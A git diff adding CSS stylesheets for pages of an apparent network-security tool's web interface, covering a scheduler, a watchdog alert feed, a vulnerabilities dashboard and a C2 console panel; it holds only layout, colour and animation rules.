3px solid var(--c-pending); +} + +.scheduler-container .hist-expired { + background: color-mix(in oklab, var(--c-expired) 8%, var(--panel)); + border-left: 3px solid var(--c-expired); +} + +.scheduler-container .hist-cancelled { + background: color-mix(in oklab, var(--c-cancel) 8%, var(--panel)); + border-left: 3px solid var(--c-cancel); +} + +.scheduler-container .hist-superseded { + background: color-mix(in oklab, var(--c-super) 8%, var(--panel)); + border-left: 3px solid var(--c-super); +} + +@media (max-width:920px) { + .scheduler-container .board { + flex-direction: column; + min-width: 0; + } + + .scheduler-container .lane { + width: auto; + } + + .scheduler-container .stats { + width: 100%; + margin-left: 0; + } + + .scheduler-container .boardWrap { + height: auto; + min-height: calc(100vh - (var(--h-topbar, 0px) + 5px)); + } +} + +@media (prefers-reduced-motion: reduce) { + + .scheduler-container .card, + .scheduler-container .laneHeader .dot { + animation: none !important; + } +} + diff --git a/web/css/pages/sentinel.css b/web/css/pages/sentinel.css new file mode 100644 index 0000000..7ba7df8 --- /dev/null +++ b/web/css/pages/sentinel.css @@ -0,0 +1,366 @@ +/* ============================================================ + Sentinel Watchdog — SPA page styles + ============================================================ */ + +.sentinel-page { + display: flex; + flex-direction: column; + height: 100%; + min-height: 0; + gap: 12px; + padding: 15px; +} + +/* ── Header bar ─────────────────────────────────────────── */ + +.sentinel-header { + display: flex; + justify-content: space-between; + align-items: center; + flex-shrink: 0; + flex-wrap: wrap; + gap: 10px; +} + +.sentinel-title { + margin: 0; + font-size: 1.3rem; + font-weight: 800; + color: var(--ink); + display: flex; + align-items: center; + gap: 8px; +} + +.sentinel-title-icon { + font-size: 1.5rem; +} + +.sentinel-controls { + display: flex; + gap: 8px; + align-items: center; +} + +.sentinel-toggle { + display: flex; + align-items: center; + gap: 8px; + padding: 6px 14px; + border-radius: 8px; + border: 1px solid var(--c-border); + background: var(--c-panel); + font-size: 0.8rem; + font-weight: 700; + cursor: pointer; + transition: 0.2s; +} + +.sentinel-toggle.active { + border-color: var(--acid); + background: rgba(0, 255, 154, 0.08); + color: var(--acid); + box-shadow: 0 0 12px rgba(0, 255, 154, 0.15); +} + +.sentinel-toggle .dot { + width: 8px; + height: 8px; + border-radius: 50%; + background: var(--muted-off); + transition: 0.2s; +} + +.sentinel-toggle.active .dot { + background: var(--acid); + box-shadow: 0 0 6px var(--acid); + animation: sentinel-pulse 2s infinite; +} + +@keyframes sentinel-pulse { + 0%, 100% { opacity: 0.7; box-shadow: 0 0 4px var(--acid); } + 50% { opacity: 1; box-shadow: 0 0 12px var(--acid); } +} + +/* ── Stats bar ──────────────────────────────────────────── */ + +.sentinel-stats { + display: flex; + gap: 10px; + flex-shrink: 0; + flex-wrap: wrap; +} + +.sentinel-stat { + flex: 1 1 120px; + padding: 10px 14px; + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 10px; + text-align: center; + min-width: 100px; +} + +.sentinel-stat-val { + font-size: 1.4rem; + font-weight: 800; + font-family: 'Fira Code', monospace; + color: var(--ink); + line-height: 1.2; +} + +.sentinel-stat-lbl { + font-size: 0.65rem; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 0.5px; + margin-top: 4px; +} + +/* ── Main grid ──────────────────────────────────────────── */ + +.sentinel-grid { + display: grid; + grid-template-columns: 1fr 340px; + gap: 12px; + flex: 1; + min-height: 0; +} + +/* ── Panels ─────────────────────────────────────────────── */ + +.sentinel-panel { + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 12px; + display: flex; + flex-direction: column; + overflow: hidden; + min-height: 0; +} + +.sentinel-panel-head { + padding: 10px 14px; + font-size: 0.72rem; + font-weight: 700; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 1px; + border-bottom: 1px solid var(--c-border); + background: rgba(0, 0, 0, 0.15); + flex-shrink: 0; + display: flex; + justify-content: space-between; + align-items: center; +} + +.sentinel-panel-body { + flex: 1; + overflow-y: auto; + padding: 10px; + display: flex; + flex-direction: column; + gap: 6px; +} + +/* ── Event cards ────────────────────────────────────────── */ + +.sentinel-event { + padding: 10px 12px; + border-radius: 8px; + border-left: 3px solid var(--c-border); + background: color-mix(in oklab, var(--c-panel) 80%, transparent); + transition: background 0.15s; + cursor: pointer; +} + +.sentinel-event:hover { + background: color-mix(in oklab, var(--c-panel) 100%, transparent); +} + +.sentinel-event.unread { + border-left-color: var(--acid); +} + +.sentinel-event.sev-warning { + border-left-color: var(--warning); +} + +.sentinel-event.sev-critical { + border-left-color: var(--danger); +} + +.sentinel-event-head { + display: flex; + justify-content: space-between; + align-items: flex-start; + gap: 8px; + margin-bottom: 4px; +} + +.sentinel-event-title { + font-size: 0.82rem; + font-weight: 700; + color: var(--ink); + flex: 1; +} + +.sentinel-event-time { + font-size: 0.65rem; + color: var(--muted); + white-space: nowrap; + flex-shrink: 0; +} + +.sentinel-event-body { + font-size: 0.72rem; + color: var(--muted); + line-height: 1.4; +} + +.sentinel-event-badge { + display: inline-block; + padding: 1px 6px; + border-radius: 4px; + font-size: 0.6rem; + font-weight: 800; + letter-spacing: 0.5px; + text-transform: uppercase; + margin-right: 6px; +} + +.sentinel-event-badge.new_device { background: rgba(0,220,255,0.15); color: #00dcff; } +.sentinel-event-badge.device_join { background: rgba(0,255,160,0.15); color: #00ffa0; } +.sentinel-event-badge.device_leave { background: rgba(255,255,255,0.08); color: #888; } +.sentinel-event-badge.arp_spoof { background: rgba(255,59,59,0.15); color: #ff3b3b; } +.sentinel-event-badge.port_change { background: rgba(255,209,102,0.15); color: #ffd166; } +.sentinel-event-badge.mac_flood { background: rgba(255,59,59,0.2); color: #ff3b3b; } +.sentinel-event-badge.rogue_dhcp { background: rgba(255,100,180,0.15); color: #ff64b4; } +.sentinel-event-badge.dns_anomaly { background: rgba(180,140,255,0.15); color: #b48cff; } + +/* ── Sidebar tabs ───────────────────────────────────────── */ + +.sentinel-side-tabs { + display: flex; + gap: 2px; + padding: 6px; + background: rgba(0, 0, 0, 0.15); + border-bottom: 1px solid var(--c-border); + flex-shrink: 0; +} + +.sentinel-side-tab { + flex: 1; + padding: 5px 8px; + border: none; + border-radius: 6px; + background: transparent; + color: var(--muted); + font-size: 0.7rem; + font-weight: 700; + cursor: pointer; + transition: 0.15s; +} + +.sentinel-side-tab.active { + background: var(--c-panel); + color: var(--acid); +} + +/* ── Rules list ─────────────────────────────────────────── */ + +.sentinel-rule { + padding: 8px 10px; + border-radius: 8px; + border: 1px solid var(--c-border); + background: color-mix(in oklab, var(--c-panel) 60%, transparent); + display: flex; + justify-content: space-between; + align-items: center; + gap: 8px; +} + +.sentinel-rule-info { + flex: 1; + min-width: 0; +} + +.sentinel-rule-name { + font-size: 0.78rem; + font-weight: 700; + color: var(--ink); +} + +.sentinel-rule-type { + font-size: 0.65rem; + color: var(--muted); +} + +.sentinel-rule-actions { + display: flex; + gap: 4px; + align-items: center; +} + +/* ── Notifiers config ───────────────────────────────────── */ + +.sentinel-notifier-row { + display: flex; + flex-direction: column; + gap: 4px; + padding: 8px 10px; + border-radius: 8px; + border: 1px solid var(--c-border); + background: color-mix(in oklab, var(--c-panel) 60%, transparent); +} + +.sentinel-notifier-label { + font-size: 0.72rem; + font-weight: 700; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 0.5px; +} + +.sentinel-notifier-input { + width: 100%; + padding: 6px 8px; + background: var(--c-panel); + border: 1px solid var(--c-border); + border-radius: 6px; + color: var(--ink); + font-size: 0.75rem; + font-family: 'Fira Code', monospace; +} + +/* ── Responsive ─────────────────────────────────────────── */ + +@media (max-width: 900px) { + .sentinel-grid { + grid-template-columns: 1fr; + } + + .sentinel-stats { + flex-wrap: wrap; + } + + .sentinel-stat { + flex: 1 1 80px; + min-width: 70px; + padding: 8px 10px; + } + + .sentinel-stat-val { + font-size: 1.1rem; + } + + .sentinel-page { + padding: 10px; + gap: 8px; + } + + .sentinel-header { + flex-direction: column; + align-items: flex-start; + } +} diff --git a/web/css/pages/shared.css b/web/css/pages/shared.css new file mode 100644 index 0000000..e97e19f --- /dev/null +++ b/web/css/pages/shared.css @@ -0,0 +1,217 @@ +/* ========================================================================== + pages.css — Page-specific styles for all SPA page modules. + Each section is scoped under the page's wrapper class to avoid conflicts. + ========================================================================== */ + +/* ===== Page-specific variables (extends global.css tokens) ===== */ +:root { + /* Bridge aliases used by multiple pages (Credentials, Loot, Files, Attacks) */ + --_bg: var(--bg); + --_panel: var(--c-panel-2); + --_panel-hi: color-mix(in oklab, var(--c-panel-2) 96%, transparent); + --_panel-lo: color-mix(in oklab, var(--c-panel-2) 86%, transparent); + --_border: var(--c-border); + --_ink: var(--ink); + --_muted: var(--muted); + --_acid: var(--acid); + --_acid2: var(--acid-2); + --_shadow: var(--shadow); + + /* NetKB chip colors */ + --kb-hostname-bg: color-mix(in oklab, var(--acid) 16%, transparent); + --kb-ip-bg: color-mix(in oklab, var(--acid-2) 18%, transparent); + --kb-mac-bg: color-mix(in oklab, var(--muted) 10%, transparent); + --kb-vendor-bg: color-mix(in oklab, #b18cff 16%, transparent); + --kb-ports-bg: color-mix(in oklab, #5fd1ff 16%, transparent); + --kb-essid-bg: color-mix(in oklab, #00e6c3 16%, transparent); + --kb-offline-bg: color-mix(in oklab, var(--bg-2) 88%, black 12%); + --kb-offline-brd: color-mix(in oklab, var(--c-border-strong) 60%, transparent); + --kb-offline-ring: color-mix(in oklab, #ff5b5b 30%, transparent); + --kb-badge-shimmer: linear-gradient(90deg, transparent, rgba(255, 255, 255, .22), transparent); + + /* Attacks page */ + --tile-min: 160px; + --ok-glow: rgba(34, 197, 94, .45); + --ko-glow: rgba(239, 68, 68, .45); +} + +/* ===== Shared sidebar layout (SPA parity with web_old) ===== */ +.page-with-sidebar { + --page-sidebar-w: 280px; + position: relative; + display: flex; + gap: 12px; + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + align-items: stretch; +} + +.page-with-sidebar .page-sidebar { + width: var(--page-sidebar-w); + flex: 0 0 var(--page-sidebar-w); + position: sticky; + top: 0; + align-self: flex-start; + max-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + min-width: 0; + display: flex; + flex-direction: column; + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); + overflow: hidden; +} + +.page-with-sidebar .page-main { + min-width: 0; + flex: 1; + min-height: 0; + display: flex; + flex-direction: column; +} + +.page-with-sidebar .sidebar-toggle-btn { + display: inline-flex; + margin-bottom: 0; + align-self: auto; +} + +.page-with-sidebar .sidebar-fab { + position: fixed; + right: 14px; + bottom: calc(var(--h-bottombar, 56px) + 14px); + z-index: 82; + border-radius: 999px; + width: 38px; + height: 38px; + min-width: 38px; + min-height: 38px; + padding: 0; + font-size: 16px; + color: var(--ink); + background: color-mix(in oklab, var(--c-panel) 88%, transparent); + border: 1px solid var(--c-border-strong); + box-shadow: 0 6px 16px rgba(0, 0, 0, .28); + opacity: .88; + display: inline-flex; + align-items: center; + justify-content: center; + line-height: 1; +} + +.page-with-sidebar .sidebar-fab:hover { + opacity: 1; + transform: translateY(-1px); +} + +.page-with-sidebar .sidebar-fab:active { + transform: translateY(0); +} + +.page-sidebar-backdrop { + display: none; + position: fixed; + left: 0; + right: 0; + top: var(--h-topbar, 56px); + bottom: var(--h-bottombar, 56px); + background: rgba(0, 0, 0, .52); + border: 0; + z-index: 79; +} + +.page-with-sidebar .sidehead { + padding: 10px; + border-bottom: 1px dashed var(--c-border); + display: flex; + align-items: center; + gap: 8px; + position: sticky; + top: 0; + z-index: 5; + background: var(--grad-card); + flex-shrink: 0; +} + +.page-with-sidebar .sidetitle { + font-weight: 800; + color: var(--acid); + letter-spacing: .05em; +} + +.page-with-sidebar .sidecontent { + padding: 10px; + overflow: auto; + min-height: 0; + flex: 1; +} + +.page-with-sidebar.sidebar-collapsed .page-sidebar { + width: 0; + flex-basis: 0; + padding: 0; + border-width: 0; + overflow: hidden; +} + +@media (max-width: 900px) { + .page-with-sidebar { + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 12px); + } + + .page-with-sidebar .sidebar-fab { + right: 10px; + bottom: calc(var(--h-bottombar, 56px) + 10px); + } + + .sidebar-fab-unified { + position: fixed; + z-index: 82; + border-radius: 999px; + width: 38px; + height: 38px; + min-width: 38px; + min-height: 38px; + padding: 0; + font-size: 16px; + color: var(--ink); + background: color-mix(in oklab, var(--c-panel) 88%, transparent); + border: 1px solid var(--c-border-strong); + box-shadow: 0 6px 16px rgba(0, 0, 0, .28); + opacity: .88; + display: inline-flex; + align-items: center; + justify-content: center; + line-height: 1; + } + + .sidebar-fab-unified:hover { + opacity: 1; + transform: translateY(-1px); + } + + .sidebar-fab-unified:active { + transform: translateY(0); + } + + .page-with-sidebar .page-sidebar { + position: fixed; + top: var(--h-topbar, 56px); + bottom: var(--h-bottombar, 56px); + left: 0; + z-index: 80; + width: min(86vw, 320px); + flex-basis: auto; + transform: translateX(-105%); + transition: transform .2s ease; + } + + .page-with-sidebar.sidebar-open .page-sidebar { + transform: translateX(0); + } + + .page-with-sidebar.sidebar-open .page-sidebar-backdrop { + display: block; + } +} + diff --git a/web/css/pages/vulnerabilities.css b/web/css/pages/vulnerabilities.css new file mode 100644 index 0000000..84de92d --- /dev/null +++ b/web/css/pages/vulnerabilities.css @@ -0,0 +1,698 @@ +/* ========================================================================== + VULNERABILITIES + ========================================================================== */ +.vuln-container { + padding: var(--gap-4); + min-height: calc(100vh - var(--h-topbar) - var(--h-bottombar)); + animation: vuln-fadeIn 0.5s ease-in; +} + +@keyframes vuln-fadeIn { + from { + opacity: 0; + transform: translateY(10px); + } + + to { + opacity: 1; + transform: translateY(0); + } +} + +.vuln-container .stats-header { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); + gap: var(--gap-4); + margin-bottom: var(--gap-3); +} + +.vuln-container .stat-card { + background: var(--grad-card); + border-radius: var(--radius); + padding: var(--gap-4); + text-align: center; + border: 1px solid var(--c-border); + transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); + position: relative; + overflow: hidden; + box-shadow: var(--elev); +} + +.vuln-container .stat-card::before { + content: ''; + position: absolute; + top: 0; + left: 0; + right: 0; + height: 3px; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + animation: vuln-pulse 2s infinite; +} + +.vuln-container .stat-card:hover { + transform: translateY(-2px); + box-shadow: var(--shadow-hover); +} + +.vuln-container .stat-number { + font-size: 28px; + font-weight: bold; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + margin: 5px 0; +} + +.vuln-container .stat-label { + font-size: 12px; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 1px; +} + +.vuln-container .control-bar { + background: var(--grad-card); + border-radius: var(--radius); + padding: var(--gap-4); + margin-bottom: var(--gap-3); + display: flex; + flex-wrap: wrap; + gap: var(--gap-3); + align-items: center; + border: 1px solid var(--c-border); + box-shadow: var(--elev); +} + +.vuln-container .search-box { + flex: 1; + min-width: 200px; + position: relative; +} + +.vuln-container .search-input { + width: 100%; + height: var(--control-h); + padding: 0 40px 0 var(--control-pad-x); + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: var(--control-r); + color: var(--ink); + font-size: 14px; + transition: all 0.3s ease; +} + +.vuln-container .search-input:focus { + outline: none; + border-color: var(--accent); + box-shadow: 0 0 0 3px var(--glow-weak); +} + +.vuln-container .clear-search { + position: absolute; + right: 10px; + top: 50%; + transform: translateY(-50%); + background: none; + border: none; + color: var(--danger); + cursor: pointer; + font-size: 18px; + display: none; + transition: color 0.3s ease; +} + +.vuln-container .clear-search:hover { + color: var(--acid-2); +} + +.vuln-container .clear-search.show { + display: block; +} + +.vuln-container .filter-buttons { + display: flex; + gap: var(--gap-3); +} + +.vuln-container .filter-btn.active { + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + border-color: var(--accent); +} + +.vuln-container .severity-filter { + display: flex; + gap: var(--gap-2); +} + +.vuln-container .severity-btn.critical.active { + background: var(--danger); + border-color: var(--danger); + color: var(--white); +} + +.vuln-container .severity-btn.high.active { + background: var(--warning); + border-color: var(--warning); + color: var(--ink-invert); +} + +.vuln-container .severity-btn.medium.active { + background: var(--accent-2); + border-color: var(--accent-2); + color: var(--ink-invert); +} + +.vuln-container .severity-btn.low.active { + background: var(--ok); + border-color: var(--ok); + color: var(--ink-invert); +} + +.vuln-container .vuln-grid { + display: grid; + gap: var(--gap-4); + max-height: calc(100vh - 250px); + overflow-y: auto; +} + +.vuln-container .vuln-card { + background: var(--grad-card); + border-radius: var(--radius); + border: 1px solid var(--c-border); + overflow: hidden; + transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); + animation: vuln-slideIn 0.4s ease-out; + box-shadow: var(--elev); +} + +@keyframes vuln-slideIn { + from { + opacity: 0; + transform: translateX(-20px); + } + + to { + opacity: 1; + transform: translateX(0); + } +} + +.vuln-container .vuln-card:hover { + transform: translateY(-2px); + box-shadow: var(--shadow-hover); + border-color: var(--accent); +} + +.vuln-container .vuln-card.inactive { + opacity: 0.6; + border-color: var(--muted-off); +} + +.vuln-container .vuln-header { + padding: var(--gap-4); + background: var(--grad-quickpanel); + display: flex; + justify-content: space-between; + align-items: center; + cursor: pointer; + user-select: none; + border-bottom: 1px solid var(--c-border); +} + +.vuln-container .vuln-title { + display: flex; + align-items: center; + gap: var(--gap-3); + flex: 1; +} + +.vuln-container .vuln-id { + font-weight: bold; + font-size: 14px; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.vuln-container .severity-badge { + padding: 4px 10px; + border-radius: 20px; + font-size: 11px; + font-weight: bold; + text-transform: uppercase; + letter-spacing: 0.5px; + animation: vuln-pulse 2s infinite; +} + +@keyframes vuln-pulse { + 0% { + opacity: 1; + } + + 50% { + opacity: 0.7; + } + + 100% { + opacity: 1; + } +} + +.vuln-container .severity-critical { + background: var(--danger); + color: var(--white); +} + +.vuln-container .severity-high { + background: var(--warning); + color: var(--ink-invert); +} + +.vuln-container .severity-medium { + background: var(--accent-2); + color: var(--ink-invert); +} + +.vuln-container .severity-low { + background: var(--ok); + color: var(--ink-invert); +} + +.vuln-container .vuln-meta { + display: flex; + gap: var(--gap-4); + font-size: 12px; + color: var(--muted); +} + +.vuln-container .meta-item { + display: flex; + align-items: center; + gap: var(--gap-2); +} + +.vuln-container .expand-icon { + color: var(--muted); + transition: transform 0.3s ease; + font-size: 18px; +} + +.vuln-container .vuln-card.expanded .expand-icon { + transform: rotate(180deg); +} + +.vuln-container .vuln-content { + max-height: 0; + overflow: hidden; + transition: max-height 0.3s ease-out; +} + +.vuln-container .vuln-card.expanded .vuln-content { + max-height: 1000px; +} + +.vuln-container .vuln-details { + padding: var(--gap-4); + border-top: 1px solid var(--c-border); + background: var(--c-panel); +} + +.vuln-container .detail-section { + margin-bottom: var(--gap-4); +} + +.vuln-container .detail-title { + font-size: 12px; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 1px; + margin-bottom: var(--gap-2); + font-weight: 600; +} + +.vuln-container .detail-content { + font-size: 14px; + line-height: 1.6; + color: var(--ink); +} + +.vuln-container .tags-container { + display: flex; + flex-wrap: wrap; + gap: var(--gap-2); +} + +.vuln-container .tag { + padding: 4px 8px; + background: var(--c-chip-bg); + border: 1px solid var(--c-border); + border-radius: var(--gap-2); + font-size: 11px; + color: var(--muted); +} + +.vuln-container .action-buttons { + display: flex; + gap: var(--gap-3); + padding: var(--gap-4); + border-top: 1px solid var(--c-border); + background: var(--c-panel-2); +} + +.vuln-container .action-btn { + flex: 1; + justify-content: center; + text-transform: uppercase; + letter-spacing: 0.5px; +} + +.vuln-container .btn-remediate { + background: var(--ok); + border-color: var(--ok); + color: var(--ink-invert); +} + +.vuln-container .btn-details { + background: var(--accent-2); + border-color: var(--accent-2); + color: var(--ink-invert); +} + +.vuln-container .btn-export { + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + border-color: var(--accent); + color: var(--white); +} + +/* Host view */ +.vuln-container .host-card { + background: var(--grad-card); + border-radius: var(--radius); + border: 1px solid var(--c-border); + margin-bottom: var(--gap-4); + overflow: hidden; + animation: vuln-slideIn 0.4s ease-out; + box-shadow: var(--elev); +} + +.vuln-container .host-header { + background: var(--grad-quickpanel); + padding: var(--gap-4); + cursor: pointer; + user-select: none; + display: flex; + justify-content: space-between; + align-items: center; + border-bottom: 1px solid var(--c-border); +} + +.vuln-container .host-header:hover { + background: var(--grad-modal); +} + +.vuln-container .host-info { + display: flex; + flex-direction: column; + gap: var(--gap-2); +} + +.vuln-container .host-name { + font-size: 16px; + font-weight: bold; + color: var(--ink); + display: flex; + align-items: center; + gap: var(--gap-3); +} + +.vuln-container .host-details { + display: flex; + gap: var(--gap-4); + font-size: 12px; + color: var(--muted); +} + +.vuln-container .host-stats { + display: flex; + gap: var(--gap-3); + align-items: center; +} + +.vuln-container .host-stat-badge { + padding: 5px 10px; + border-radius: 20px; + font-size: 11px; + font-weight: bold; + display: flex; + align-items: center; + gap: var(--gap-2); +} + +.vuln-container .host-vulns { + max-height: 0; + overflow: hidden; + transition: max-height 0.3s ease-out; +} + +.vuln-container .host-card.expanded .host-vulns { + max-height: 2000px; +} + +.vuln-container .host-vuln-list { + padding: var(--gap-4); + background: var(--c-panel); +} + +.vuln-container .host-vuln-item { + background: var(--c-panel-2); + border: 1px solid var(--c-border); + border-radius: var(--control-r); + padding: var(--gap-3); + margin-bottom: var(--gap-3); + display: flex; + justify-content: space-between; + align-items: center; + transition: all 0.3s ease; +} + +.vuln-container .host-vuln-item:hover { + background: var(--grad-card); + border-color: var(--accent); + transform: translateX(5px); +} + +.vuln-container .host-summary { + background: var(--grad-quickpanel); + padding: var(--gap-3); + border-radius: var(--control-r); + margin-bottom: var(--gap-3); + display: flex; + justify-content: space-around; + text-align: center; +} + +.vuln-container .host-summary-item { + display: flex; + flex-direction: column; + gap: var(--gap-2); +} + +.vuln-container .host-summary-value { + font-size: 18px; + font-weight: bold; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.vuln-container .host-summary-label { + font-size: 10px; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 0.5px; +} + +/* Badges */ +.vuln-container .badge-kev { + background: var(--danger); + padding: 2px 6px; + border-radius: 10px; + font-size: 10px; + color: var(--white); + font-weight: bold; +} + +.vuln-container .badge-exploit { + background: linear-gradient(135deg, #9c27b0, #e1bee7); + padding: 2px 6px; + border-radius: 10px; + font-size: 10px; + color: var(--white); + font-weight: bold; +} + +.vuln-container .badge-epss-high { + background: linear-gradient(135deg, var(--danger), var(--warning)); + padding: 2px 6px; + border-radius: 10px; + font-size: 10px; + color: var(--white); + font-weight: bold; +} + +.vuln-container .badge-epss-medium { + background: linear-gradient(135deg, var(--warning), var(--accent-2)); + padding: 2px 6px; + border-radius: 10px; + font-size: 10px; + color: var(--white); + font-weight: bold; +} + +/* Pagination */ +.vuln-container .pagination { + display: flex; + justify-content: center; + gap: var(--gap-3); + margin-top: var(--gap-4); + padding: var(--gap-3); +} + +.vuln-container .page-btn:disabled { + opacity: 0.5; + cursor: not-allowed; +} + +.vuln-container .page-btn.active { + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + border-color: var(--accent); + color: var(--white); +} + +.vuln-container .page-info { + display: flex; + align-items: center; + color: var(--muted); + font-size: 13px; +} + +/* Modal */ +.vuln-container .modal { + display: none; + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + background: var(--glass-8); + z-index: 1000; + animation: vuln-fadeIn 0.3s ease; +} + +.vuln-container .modal.show { + display: flex; + align-items: center; + justify-content: center; +} + +.vuln-container .modal-content { + background: var(--grad-modal); + border-radius: var(--radius); + max-width: 800px; + width: 90%; + max-height: 80vh; + overflow-y: auto; + animation: vuln-slideUp 0.3s ease; + border: 1px solid var(--c-border-strong); + box-shadow: var(--shadow-hover); +} + +@keyframes vuln-slideUp { + from { + transform: translateY(50px); + opacity: 0; + } + + to { + transform: translateY(0); + opacity: 1; + } +} + +.vuln-container .modal-header { + padding: var(--gap-4); + border-bottom: 1px solid var(--c-border); + display: flex; + justify-content: space-between; + align-items: center; + position: sticky; + top: 0; + background: var(--grad-quickpanel); + z-index: 1; +} + +.vuln-container .modal-title { + font-size: 18px; + font-weight: bold; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.vuln-container .close-modal { + background: none; + border: none; + color: var(--muted); + font-size: 24px; + cursor: pointer; + transition: color 0.3s ease; +} + +.vuln-container .close-modal:hover { + color: var(--ink); +} + +.vuln-container .modal-body { + padding: var(--gap-4); +} + +@media (max-width:768px) { + .vuln-container .stats-header { + grid-template-columns: repeat(2, 1fr); + } + + .vuln-container .control-bar { + flex-direction: column; + } + + .vuln-container .search-box { + width: 100%; + } + + .vuln-container .filter-buttons { + width: 100%; + justify-content: space-between; + } + + .vuln-container .severity-filter { + width: 100%; + justify-content: space-between; + } + + .vuln-container .vuln-header { + flex-direction: column; + align-items: flex-start; + gap: var(--gap-3); + } + + .vuln-container .vuln-meta { + flex-direction: column; + gap: var(--gap-2); + } + + .vuln-container .modal-content { + width: 95%; + max-height: 90vh; + } +} + diff --git a/web/css/pages/zombieland.css b/web/css/pages/zombieland.css new file mode 100644 index 0000000..be2686f --- /dev/null +++ b/web/css/pages/zombieland.css @@ -0,0 +1,493 @@ +/* ========================================================================== + ZOMBIELAND (C2 Module) CSS + ========================================================================== */ + +/* Main layout constraints */ +.zombieland-container.page-with-sidebar { + height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + display: flex; + min-height: 0; +} + +.zl-sidebar.page-sidebar { + width: 260px; + flex-shrink: 0; + display: flex; + flex-direction: column; + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 12px; + overflow-y: auto; +} + +.zl-main.page-main { + flex: 1; + min-width: 0; + display: flex; + flex-direction: column; + gap: 12px; +} + +/* Sidebar structure */ +.zl-stats-grid { + display: grid; + grid-template-columns: 1fr; + gap: 8px; + margin-bottom: 15px; +} + +.stat-item { + background: rgba(0, 0, 0, 0.2); + border: 1px solid var(--c-border); + padding: 10px; + border-radius: 8px; + display: flex; + justify-content: space-between; + align-items: center; +} + +.stat-item .stat-value { + font-weight: bold; + color: var(--acid); + font-size: 1.1rem; +} + +.stat-item .stat-label { + font-size: 0.8rem; + color: var(--muted); + text-transform: uppercase; +} + +.zl-toolbar { + display: flex; + flex-direction: column; + gap: 6px; +} + +/* Modals */ +.modal { + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 0; + background: rgba(0, 0, 0, 0.8); + display: flex; + align-items: center; + justify-content: center; + z-index: 1000; +} + +.modal-content { + background: var(--grad-card); + border: 1px solid var(--c-border); + padding: 20px; + border-radius: 12px; + width: 100%; + max-width: 400px; +} + +/* Main Grid Layout */ +.zl-main-grid { + display: grid; + grid-template-columns: minmax(0, 2fr) minmax(0, 1fr); + gap: 12px; + flex: 1; + /* Takes available space except logs */ + min-height: 0; +} + +.zl-console-panel, +.zl-agents-panel, +.zl-logs-panel { + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--c-panel); + display: flex; + flex-direction: column; + overflow: hidden; +} + +/* Log Panel underneath */ +.zl-logs-panel { + height: 150px; + flex-shrink: 0; +} + +.zl-panel-header { + display: flex; + justify-content: space-between; + align-items: center; + padding: 8px 12px; + background: rgba(0, 0, 0, 0.2); + border-bottom: 1px solid var(--c-border); + flex-shrink: 0; +} + +.zl-panel-title { + font-weight: bold; + font-size: 0.9rem; + color: var(--acid); +} + +.zl-quickbar { + display: flex; + gap: 4px; +} + +.quick-cmd { + background: transparent; + border: 1px solid var(--c-border-strong); + color: var(--muted); + font-size: 0.7rem; + padding: 2px 6px; + border-radius: 4px; + cursor: pointer; + transition: 0.2s; +} + +.quick-cmd:hover { + color: var(--acid); + border-color: var(--acid); +} + +.zl-console-output, +.zl-logs-output { + flex: 1; + overflow-y: auto; + padding: 10px; + font-family: 'Fira Code', monospace; + font-size: 0.8rem; + background: #020406; + min-height: 0; +} + +/* Controls */ +.zl-console-input-row { + display: flex; + gap: 8px; + padding: 8px; + border-top: 1px solid var(--c-border); + background: var(--c-panel-2); + flex-shrink: 0; +} + +.zl-target-select, +.zl-cmd-input, +.zl-search-input { + background: #000; + color: #fff; + border: 1px solid var(--c-border-strong); + padding: 6px 10px; + border-radius: 6px; +} + +.zl-cmd-input { + flex: 1; +} + +.zl-toolbar-left { + display: flex; + position: relative; + flex: 1; + max-width: 200px; + margin-left: 10px; +} + +.zl-search-input { + width: 100%; + border-radius: 6px; + padding: 4px 20px 4px 8px; + font-size: 0.8rem; +} + +.zl-search-clear { + position: absolute; + right: 5px; + top: 5px; + color: var(--muted); + background: none; + border: none; + cursor: pointer; +} + +.zl-agents-list { + flex: 1; + overflow-y: auto; + padding: 10px; + display: flex; + flex-direction: column; + gap: 8px; +} + +/* Agent Card Styles */ +.zl-agent-card { + background: rgba(0, 0, 0, 0.3); + border: 1px solid var(--c-border); + border-radius: 8px; + padding: 8px 12px; + display: flex; + flex-direction: column; + gap: 6px; + transition: 0.2s ease-out; +} + +.zl-agent-card.selected { + border-color: var(--acid); + background: rgba(0, 255, 160, 0.05); +} + +.zl-agent-card:hover { + border-color: var(--c-border-hi); +} + +.zl-card-header { + display: flex; + justify-content: space-between; + align-items: center; +} + +.zl-card-identity { + display: flex; + flex-direction: column; + gap: 2px; + line-height: 1; +} + +.zl-card-hostname { + font-weight: bold; + color: #fff; + font-size: 0.9rem; +} + 